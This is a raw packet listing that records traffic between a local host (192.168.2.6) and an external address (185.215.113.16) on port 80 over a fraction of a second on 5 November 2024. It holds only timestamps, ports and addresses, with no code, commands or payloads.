Nov 5, 2024 20:52:10.196346998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196373940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196396112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196432114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196449995 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196482897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196491003 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196516037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196556091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196567059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196600914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196604967 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196633101 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196635962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196671009 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196671963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196703911 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196703911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196738005 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196738958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196770906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196773052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196805954 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196805954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196835041 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196850061 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196867943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196872950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196907997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196908951 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196940899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196974993 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196980953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197016001 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197030067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197065115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197083950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197103977 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197117090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197170019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197170019 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197202921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197227001 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197237968 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197248936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197273016 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197276115 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197304010 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197325945 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197360992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197365999 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197396040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197412968 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197427034 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197429895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197442055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197443962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197449923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197459936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197463036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197475910 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197479010 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197494030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197508097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197509050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197518110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197525978 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197540998 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197545052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197545052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197556973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197565079 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197571993 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197582006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197588921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197597027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197604895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197612047 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197621107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197628021 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197637081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197649002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197654963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197658062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.197681904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.197695971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.215949059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.215967894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.215985060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216001034 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216006994 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216020107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216032982 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216037035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216058016 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216062069 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216074944 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216206074 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216223955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216248035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216255903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216272116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216274023 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216299057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216304064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216314077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216321945 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216340065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216341019 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216358900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216361046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216370106 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216391087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216392040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216411114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216428041 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216429949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216445923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216445923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216465950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216465950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216485977 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216496944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216510057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216516018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216530085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216532946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216552019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216552973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216574907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216576099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216593027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216594934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216609001 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216613054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216631889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216633081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216649055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216650009 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216664076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216674089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216691017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216705084 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216708899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216718912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216727018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216743946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216754913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216762066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216769934 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216780901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216789961 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216799974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216809988 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216818094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216823101 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216837883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216841936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216856956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216869116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216872931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216887951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216906071 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216922045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216927052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216942072 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216949940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.216959953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.216989994 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217015028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217325926 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217355967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217375040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217391014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217446089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217464924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217468023 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217482090 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217488050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217497110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217509985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217535973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217550039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217626095 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217644930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217664957 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217674017 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217685938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217705965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217705965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217726946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217730999 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217749119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217756033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217767000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.217780113 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.217799902 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218041897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218061924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218080997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218101025 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218125105 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218156099 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218175888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218197107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218215942 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218228102 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218245029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218247890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218267918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218280077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218288898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218310118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218329906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218329906 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218344927 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218349934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218368053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218370914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218391895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218394041 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218409061 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218430042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218485117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218506098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218523979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218528032 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218544960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218547106 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218565941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218578100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218594074 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218596935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218611002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218617916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218636990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218640089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218658924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218672991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218679905 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218693018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218709946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218713999 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218729973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218746901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218749046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218770027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218789101 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218790054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218801975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218810081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218826056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218831062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218852997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218853951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218871117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218888998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218935966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218955994 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218974113 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218976021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.218990088 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.218997002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219010115 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219018936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219038963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219055891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219084024 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219084024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219105005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219122887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219124079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219145060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219146967 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219161987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219166040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219177008 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219211102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219378948 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219398022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219417095 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219418049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219429970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219446898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219450951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219471931 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219485998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219512939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219542980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219544888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219567060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219583035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.219588995 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219602108 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.219614983 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.307569027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.307590961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.307617903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.307630062 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.307714939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.307742119 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.307759047 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.308336973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.308386087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.308434010 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.308465958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.308470964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.308507919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.310693979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.310751915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.310755014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.310787916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.310798883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.310812950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.310839891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.310844898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.310869932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.310879946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.310900927 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.310910940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311235905 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311271906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311279058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311295986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311316967 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311326981 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311368942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311389923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311407089 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311412096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311430931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311435938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311439037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311460018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311474085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311492920 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311814070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311836004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311856031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.311866999 CET	50011	80	192.168.2.6	185.215.113.16
